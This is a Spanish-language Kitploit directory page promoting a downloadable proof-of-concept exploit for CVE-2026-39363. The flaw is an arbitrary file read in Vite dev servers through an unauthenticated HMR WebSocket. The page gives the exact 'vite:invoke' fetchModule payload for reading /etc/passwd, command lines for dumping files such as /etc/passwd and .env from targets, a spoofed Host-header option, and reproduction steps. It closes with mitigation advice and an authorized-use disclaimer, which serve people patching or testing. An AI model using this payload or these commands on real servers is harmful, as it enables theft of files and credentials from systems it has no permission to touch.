Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-39363 — 方便实用的CVE-2026-39363利用工具 | Kitploit
Herramientas/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

Ver Repositorio
hace 17 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-39363 — PoC de lectura arbitraria de archivos en Vite Dev Server

PoC ejecutable directamente para GHSA-p9ff-h696-f583. A través de un WebSocket HMR sin autenticación, invoca fetchModule, eludiendo la restricción server.fs.allow de la capa HTTP, para leer archivos arbitrarios en la máquina donde se ejecuta el dev server.

Alcance

Línea de versiónAfectadasCorregidas
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (rama VoidZero)<=0.1.150.1.16

Requisitos previos:

  • El dev server está expuesto a la red (configuración --host / server.host), y
  • El WebSocket de HMR no está deshabilitado (habilitado por defecto; se puede desactivar con server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306. CISA SSVC lo ha marcado como exploitation=poc, automatable=yes.

Principio

  1. En la capa HTTP, la lectura de archivos arbitrarios es bloqueada por server.fs.allow (/@fs/<ruta absoluta> → 403).
  2. Sin embargo, el handshake del WebSocket de HMR solo verifica:
    • La cabecera Sec-WebSocket-Protocol: vite-hmr, y
    • El parámetro de consulta ?token= solo cuando se envía la cabecera Origin (CWE-306: los clientes que no son navegadores pueden conectarse directamente sin enviar la cabecera Origin).
  3. Tras la conexión, se envía el evento personalizado vite:invoke para invocar el método fetchModule registrado en el servidor, pasando file://<ruta absoluta>?raw. fetchModule pasa directamente por el pipeline de transformación de módulos, eludiendo por completo la comprobación de fs.allow, y devuelve el contenido del archivo como export default "..." (CWE-200).

Estructura del mensaje de solicitud vite:invoke (idéntica en v6/v7/v8):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

La respuesta del servidor cambia id a 1response, y data.data.result.code contiene el contenido del archivo.

Uso

Solo requiere la biblioteca estándar de Python 3, sin dependencias de terceros:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

Parámetros:

Verificación

El PoC de este repositorio se ha probado con éxito en los siguientes entornos (leyendo secret.txt fuera del root del dev server; la ruta HTTP @fs del mismo archivo devuelve 403):

  • Vite 8.0.4 (vite --host 0.0.0.0, Windows)
  • Vite 6.4.1 (ídem)
  • Vite 7.3.1: la comparación del código fuente confirma que la estructura del mensaje coincide con v6/v8

Pasos para reproducir (misma cadena que el PoC):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

Detección y mitigación

  • Actualice a 6.4.2 / 7.3.2 / 8.0.5.
  • El dev server nunca debe enlazarse a una dirección pública (por defecto solo escucha en localhost).
  • En producción, use vite build + alojamiento estático; no ejecute vite dev.
  • Si no es posible actualizar: desactive HMR con server.ws: false, o añada un proxy inverso que solo permita el acceso local al puerto del dev server.

Descargo de responsabilidad

Solo para uso en pruebas de penetración autorizadas, reproducción de vulnerabilidades e investigación defensiva. El usuario asume las consecuencias del uso de esta herramienta contra sistemas de terceros sin autorización.

Descargar herramienta
ParámetroDescripción
urlObjetivo, p. ej. http://192.168.1.10:5173
filesRutas absolutas a leer, en formato POSIX o Windows
--host-headerCabecera Host falsificada (por defecto toma el host del objetivo). Por defecto solo se permite IP/localhost; los dominios personalizados requieren configuración explícita
--ws-pathRuta del WebSocket de HMR, por defecto / (debe modificarse si el objetivo configura server.hmr.path)
--timeoutTiempo de espera por solicitud en segundos, por defecto 10
-o/--output-dirGuarda el contenido leído en un directorio